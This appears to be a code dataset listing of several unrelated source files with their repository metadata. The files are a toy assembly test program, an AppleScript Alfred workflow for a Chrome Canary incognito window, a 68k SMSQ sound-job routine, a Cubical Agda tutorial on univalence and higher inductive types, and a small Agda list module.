<filename>test_cases/caso liset/casoprueba.asm
addi r1 r0 76
addi r2 r0 105
addi r3 r0 115
addi r4 r0 101
addi r30 r0 1
add r5 r30 r3
j salta
addi r1 r0 99
tty r1
addi r1 r1 12
tty r1
push r1
sw r1, 0(r31)
addi r2 r0 2
sub r1 r1 r2
tty r1
lw r1, 0(r31)
tty r1
pop r1
addi r25 r0 1
pop r5
pop r4
pop r3
pop r2
pop r1
j inicio
#como
salta:
j dontstop
halt
dontstop:
inicio:
tty r1
tty r2
tty r3
tty r4
tty r5
push r1
push r2
push r3
push r4
push r5
blez r25 continue
halt
continue:
#Liset
push r3
push r4
lw r21, 0(r31)
push r3
pop r6
tty r21
tty r6
#es
addi r8 r0 4
addi r9 r0 7
mulu r8 r9
mflo r8
addi r8 r8 1
add r1 r8 r1
addi r9 r0 5
sub r10 r3 r9
addi r22 r0 1
add r22 r22 r3
pop r4
tty r1
tty r10
tty r22
tty r4
#inte
j continua
addi r27 r0 47
tty r27
addi r27 r0 69
tty r27
addi r27 r0 114
push r27
tty r27
tty r27
addi r27 r0 111
tty r27
pop r27
tty r27
halt
#/Error
aqui:
jr r18
continua:
push r10
push r22
push r4
push r1
addi r1 r0 108
tty r1
#l
addi r29 r0 5
div r1 r29
mfhi r28
pop r1
tty r1
#i
addi r12 r0 10
addi r13 r0 10
mult r12 r13
mflo r12
add r12 r12 r28
tty r12
#g
pop r4
pop r22
pop r10
tty r4
tty r10
tty r22
tty r4
#gente
j next
addi r27 r0 47
tty r27
addi r27 r0 69
tty r27
addi r27 r0 114
push r27
tty r27
tty r27
addi r27 r0 111
tty r27
pop r27
tty r27
halt
#/Error
next:
pop r3
tty r3
push r4
lw r1, 0(r31)
pop r4
tty r1
#se
addi r1 r0 28
jr r1
addi r27 r0 47
tty r27
addi r27 r0 69
tty r27
addi r27 r0 114
push r27
tty r27
tty r27
addi r27 r0 111
tty r27
pop r27
tty r27
halt
#/Error
|
alfred-chrome-canary-incognito/src/canary_incognito.applescript
|
wad3g/alfred-workflows
| 0 |
816
|
<filename>alfred-chrome-canary-incognito/src/canary_incognito.applescript
on alfred_script(q)
tell application "Google Chrome Canary"
activate
tell application "System Events"
keystroke "n" using {command down, shift down}
end tell
end tell
end alfred_script
|
smsq/java/driver/snd/job.asm
|
olifink/smsqe
| 0 |
161773
|
; Soundfile jobs (2 & 3) v. 1.00 (c) <NAME> 2004
********************************************************************
; set up independant job to play the soundfile
; soundfile2 - that job belongs to caller
; soundfile3 - totally independent job
;
; SOUNDFILE "file_to_play"
;
; v. 1.00 2004 Nov 12 23:19:59
;
; copyright (c) <NAME> 2004 - see the licence in the documentation
;
**********************************************************************
section sound
include dev8_keys_qdos_sms
xdef soundfile2
xdef soundfile3
xdef sndname
xref sf1
xref sf2
xref withbuff2
sndregs reg a1-a4/d5
soundfile3
moveq #0,d7
bra.s common
soundfile2
moveq #-1,d7
common
bsr sf1
bne.s sf_out
move.l a0,a4 ; pointer to name
movem.l sndregs,-(a7) ; save regs
sub.l a1,a1 ; start of job code
move.l d7,d1 ; it will belong to me, or not
move.l #100,d2 ; code space required
move.l #800,d3 ; data (stack) space
moveq #1,d0
trap #1 ; set up sndsnd job
lea -$10(a0),a5
movem.l (a7)+,sndregs ; get old regs back
moveq #-1,d3
lea sndname,a1 ; name of this job
lea sndjob,a2 ; real start of this job
move.w #$4ef9,(a0)+
move.l a2,(a0)+ ; make jump to our addresss
move.w #$4afb,(a0)+ ; standard job marker
moveq #3,d2 ; now copy job name
onlp1 move.l (a1)+,(a0)+
dbf d2,onlp1
move.l a4,a1 ; name pointer
move.w (a1)+,d0 ; in job data
move.l a0,a4 ; keep
move.w d0,(a0)+ ; copy now
bra.s docplp
cplp move.b (a1)+,(a0)+
docplp dbf d0,cplp ; copy name for job
movem.l d2-d7/a0-a5,-(a5) ; give this job my registers now (!)
moveq #0,d3 ; don't wait for completion
moveq #10,d2 ; priority
moveq #10,d0
trap #1 ; start that job
tst.l d0
sf_out rts
sndname
dc.w sndname2-*-2
dc.b 'SOUNDFILE JOB'
sndname2
; code for job itself
sndjob move.l a4,a0 ; pointer to name
jsr sf2 ; open channel & get vectors
bne.s sepukku ; couldn't.
jsr withbuff2 ; do the work
sepukku moveq #-1,d1 : remove myself
moveq #0,d3
moveq #sms.frjb,d0
trap #1
end
|
Cubical/Talks/EPA2020.agda
|
dan-iel-lee/cubical
| 0 |
11129
|
{-
Cubical Agda - A Dependently Typed PL with Univalence and HITs
==============================================================
<NAME>
Every Proof Assistant - September 17, 2020
Link to slides: https://staff.math.su.se/anders.mortberg/slides/EPA2020.pdf
Link to video: https://vimeo.com/459020971
-}
-- To make Agda cubical add the following options
{-# OPTIONS --cubical --no-import-sorts --safe #-}
module Cubical.Talks.EPA2020 where
-- The "Foundations" package contain a lot of important results (in
-- particular the univalence theorem)
open import Cubical.Foundations.Prelude
open import Cubical.Foundations.Equiv
open import Cubical.Foundations.Isomorphism
open import Cubical.Foundations.Univalence
open import Cubical.Data.Int
open import Cubical.Data.Prod.Base
-- The interval in Cubical Agda is written I and the endpoints i0 and i1.
apply0 : (A : Type) (p : I → A) → A
apply0 A p = p i0
-- We omit the universe level ℓ for simplicity in this talk. In the
-- library everything is maximally universe polymorphic.
-- We can write functions out of the interval using λ-abstraction:
refl' : {A : Type} (x : A) → x ≡ x
refl' x = λ i → x
-- In fact, x ≡ y is short for PathP (λ _ → A) x y
refl'' : {A : Type} (x : A) → PathP (λ _ → A) x x
refl'' x = λ _ → x
-- In general PathP A x y has A : I → Type, x : A i0 and y : A i1
-- PathP = Dependent paths (Path over a Path)
-- We cannot pattern-match on interval variables as I is not inductively defined
-- foo : {A : Type} → I → A
-- foo r = {!r!} -- Try typing C-c C-c
-- cong has a direct proof
cong' : {A B : Type} (f : A → B) {x y : A} → x ≡ y → f x ≡ f y
cong' f p i = f (p i)
-- function extensionality also has a direct proof.
-- It also has computational content: swap the arguments.
funExt' : {A B : Type} {f g : A → B} (p : (x : A) → f x ≡ g x) → f ≡ g
funExt' p i x = p x i
-- Transport is more complex as ≡ isn't inductively defined (so we
-- can't define it by pattern-matching on p)
transport' : {A B : Type} → A ≡ B → A → B
transport' p a = transp (λ i → p i) i0 a
-- This lets us define subst (which is called "transport" in the HoTT book)
subst' : {A : Type} (P : A → Type) {x y : A} (p : x ≡ y) → P x → P y
subst' P p pa = transport (λ i → P (p i)) pa
-- The transp operation reduces differently for different types
-- formers. For paths it reduces to another primitive operation called
-- hcomp.
-- We can also define the J eliminator (aka path induction)
J' : {A : Type} {B : A → Type} {x : A}
(P : (z : A) → x ≡ z → Type)
(d : P x refl) {y : A} (p : x ≡ y) → P y p
J' P d p = transport (λ i → P (p i) (λ j → p (i ∧ j))) d
-- So J is provable, but it doesn't satisfy computation rule
-- definitionally. This is almost never a problem in practice as the
-- cubical primitives satisfy many new definitional equalities.
-- Another key concept in HoTT/UF is the Univalence Axiom. In Cubical
-- Agda this is provable, we hence refer to it as the Univalence
-- Theorem.
-- The univalence theorem: equivalences of types give paths of types
ua' : {A B : Type} → A ≃ B → A ≡ B
ua' = ua
-- Any isomorphism of types gives rise to an equivalence
isoToEquiv' : {A B : Type} → Iso A B → A ≃ B
isoToEquiv' = isoToEquiv
-- And hence to a path
isoToPath' : {A B : Type} → Iso A B → A ≡ B
isoToPath' e = ua' (isoToEquiv' e)
-- ua satisfies the following computation rule
-- This suffices to be able to prove the standard formulation of univalence.
uaβ' : {A B : Type} (e : A ≃ B) (x : A)
→ transport (ua' e) x ≡ fst e x
uaβ' e x = transportRefl (equivFun e x)
-- Time for an example!
-- Booleans
data Bool : Type where
false true : Bool
not : Bool → Bool
not false = true
not true = false
notPath : Bool ≡ Bool
notPath = isoToPath' (iso not not rem rem)
where
rem : (b : Bool) → not (not b) ≡ b
rem false = refl
rem true = refl
_ : transport notPath true ≡ false
_ = refl
-- Another example, integers:
sucPath : Int ≡ Int
sucPath = isoToPath' (iso sucInt predInt sucPred predSuc)
_ : transport sucPath (pos 0) ≡ pos 1
_ = refl
_ : transport (sucPath ∙ sucPath) (pos 0) ≡ pos 2
_ = refl
_ : transport (sym sucPath) (pos 0) ≡ negsuc 0
_ = refl
-----------------------------------------------------------------------------
-- Higher inductive types
-- The following definition of finite multisets is due to Vikraman
-- Choudhury and <NAME>.
infixr 5 _∷_
data FMSet (A : Type) : Type where
[] : FMSet A
_∷_ : (x : A) → (xs : FMSet A) → FMSet A
comm : (x y : A) (xs : FMSet A) → x ∷ y ∷ xs ≡ y ∷ x ∷ xs
-- trunc : (xs ys : FMSet A) (p q : xs ≡ ys) → p ≡ q
-- We need to add the trunc constructor for FMSets to be sets, omitted
-- here for simplicity.
_++_ : ∀ {A : Type} (xs ys : FMSet A) → FMSet A
[] ++ ys = ys
(x ∷ xs) ++ ys = x ∷ xs ++ ys
comm x y xs i ++ ys = comm x y (xs ++ ys) i
-- trunc xs zs p q i j ++ ys =
-- trunc (xs ++ ys) (zs ++ ys) (cong (_++ ys) p) (cong (_++ ys) q) i j
unitr-++ : {A : Type} (xs : FMSet A) → xs ++ [] ≡ xs
unitr-++ [] = refl
unitr-++ (x ∷ xs) = cong (x ∷_) (unitr-++ xs)
unitr-++ (comm x y xs i) j = comm x y (unitr-++ xs j) i
-- unitr-++ (trunc xs ys x y i j) = {!!}
-- This is a special case of set quotients! Very useful for
-- programming and set level mathematics
data _/_ (A : Type) (R : A → A → Type) : Type where
[_] : A → A / R
eq/ : (a b : A) → R a b → [ a ] ≡ [ b ]
trunc : (a b : A / R) (p q : a ≡ b) → p ≡ q
-- Proving that they are effective ((a b : A) → [ a ] ≡ [ b ] → R a b)
-- requires univalence for propositions.
-------------------------------------------------------------------------
-- Topological examples of things that are not sets
-- We can define the circle as the following simple data declaration:
data S¹ : Type where
base : S¹
loop : base ≡ base
-- We can write functions on S¹ using pattern-matching equations:
double : S¹ → S¹
double base = base
double (loop i) = (loop ∙ loop) i
helix : S¹ → Type
helix base = Int
helix (loop i) = sucPathInt i
ΩS¹ : Type
ΩS¹ = base ≡ base
winding : ΩS¹ → Int
winding p = subst helix p (pos 0)
_ : winding (λ i → double ((loop ∙ loop) i)) ≡ pos 4
_ = refl
-- We can define the Torus as:
data Torus : Type where
point : Torus
line1 : point ≡ point
line2 : point ≡ point
square : PathP (λ i → line1 i ≡ line1 i) line2 line2
-- And prove that it is equivalent to two circle:
t2c : Torus → S¹ × S¹
t2c point = (base , base)
t2c (line1 i) = (loop i , base)
t2c (line2 j) = (base , loop j)
t2c (square i j) = (loop i , loop j)
c2t : S¹ × S¹ → Torus
c2t (base , base) = point
c2t (loop i , base) = line1 i
c2t (base , loop j) = line2 j
c2t (loop i , loop j) = square i j
c2t-t2c : (t : Torus) → c2t (t2c t) ≡ t
c2t-t2c point = refl
c2t-t2c (line1 _) = refl
c2t-t2c (line2 _) = refl
c2t-t2c (square _ _) = refl
t2c-c2t : (p : S¹ × S¹) → t2c (c2t p) ≡ p
t2c-c2t (base , base) = refl
t2c-c2t (base , loop _) = refl
t2c-c2t (loop _ , base) = refl
t2c-c2t (loop _ , loop _) = refl
-- Using univalence we get the following equality:
Torus≡S¹×S¹ : Torus ≡ S¹ × S¹
Torus≡S¹×S¹ = isoToPath' (iso t2c c2t t2c-c2t c2t-t2c)
windingTorus : point ≡ point → Int × Int
windingTorus l = ( winding (λ i → proj₁ (t2c (l i)))
, winding (λ i → proj₂ (t2c (l i))))
_ : windingTorus (line1 ∙ sym line2) ≡ (pos 1 , negsuc 0)
_ = refl
-- We have many more topological examples, including Klein bottle, RP^n,
-- higher spheres, suspensions, join, wedges, smash product:
open import Cubical.HITs.KleinBottle
open import Cubical.HITs.RPn
open import Cubical.HITs.S2
open import Cubical.HITs.S3
open import Cubical.HITs.Susp
open import Cubical.HITs.Join
open import Cubical.HITs.Wedge
open import Cubical.HITs.SmashProduct
-- There's also a proof of the "3x3 lemma" for pushouts in less than
-- 200LOC. In HoTT-Agda this took about 3000LOC. For details see:
-- https://github.com/HoTT/HoTT-Agda/tree/master/theorems/homotopy/3x3
open import Cubical.HITs.Pushout
-- We also defined the Hopf fibration and proved that its total space
-- is S³ in about 300LOC:
open import Cubical.HITs.Hopf
-- There is also some integer cohomology:
open import Cubical.ZCohomology.Everything
-- To compute cohomology groups of various spaces we need a bunch of
-- interesting theorems: Freudenthal suspension theorem,
-- Mayer-Vietoris sequence...
open import Cubical.Homotopy.Freudenthal
open import Cubical.ZCohomology.MayerVietorisUnreduced
-------------------------------------------------------------------------
-- The structure identity principle
-- A more efficient version of finite multisets based on association lists
open import Cubical.HITs.AssocList.Base
-- data AssocList (A : Type) : Type where
-- ⟨⟩ : AssocList A
-- ⟨_,_⟩∷_ : (a : A) (n : ℕ) (xs : AssocList A) → AssocList A
-- per : (a b : A) (m n : ℕ) (xs : AssocList A)
-- → ⟨ a , m ⟩∷ ⟨ b , n ⟩∷ xs ≡ ⟨ b , n ⟩∷ ⟨ a , m ⟩∷ xs
-- agg : (a : A) (m n : ℕ) (xs : AssocList A)
-- → ⟨ a , m ⟩∷ ⟨ a , n ⟩∷ xs ≡ ⟨ a , m + n ⟩∷ xs
-- del : (a : A) (xs : AssocList A) → ⟨ a , 0 ⟩∷ xs ≡ xs
-- trunc : (xs ys : AssocList A) (p q : xs ≡ ys) → p ≡ q
-- Programming and proving is more complicated with AssocList compared
-- to FMSet. This kind of example occurs everywhere in programming and
-- mathematics: one representation is easier to work with, but not
-- efficient, while another is efficient but difficult to work with.
-- Solution: substitute using univalence
substIso : {A B : Type} (P : Type → Type) (e : Iso A B) → P A → P B
substIso P e = subst P (isoToPath e)
-- Can transport for example Monoid structure from FMSet to AssocList
-- this way, but the achieved Monoid structure is not very efficient
-- to work with. A better solution is to prove that FMSet and
-- AssocList are equal *as monoids*, but how to do this?
-- Solution: structure identity principle (SIP)
-- This is a very useful consequence of univalence
open import Cubical.Foundations.SIP
sip' : {ℓ : Level} {S : Type ℓ → Type ℓ} {ι : StrEquiv S ℓ}
(θ : UnivalentStr S ι) (A B : TypeWithStr ℓ S) → A ≃[ ι ] B → A ≡ B
sip' = sip
-- The tricky thing is to prove that (S,ι) is a univalent structure.
-- Luckily we provide automation for this in the library, see for example:
open import Cubical.Algebra.Monoid.Base
-- Another cool application of the SIP: matrices represented as
-- functions out of pairs of Fin's and vectors are equal as abelian
-- groups:
open import Cubical.Algebra.Matrix
-- The end, back to slides!
|
src/Calf/Types/List.agda
|
jonsterling/agda-calf
| 29 |
11996
|
{-# OPTIONS --prop --without-K --rewriting #-}
module Calf.Types.List where
open import Calf.Prelude
open import Calf.Metalanguage
open import Data.List public using (List; []; _∷_; _∷ʳ_; [_]; length; _++_)
list : tp pos → tp pos
list A = U (meta (List (val A)))
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.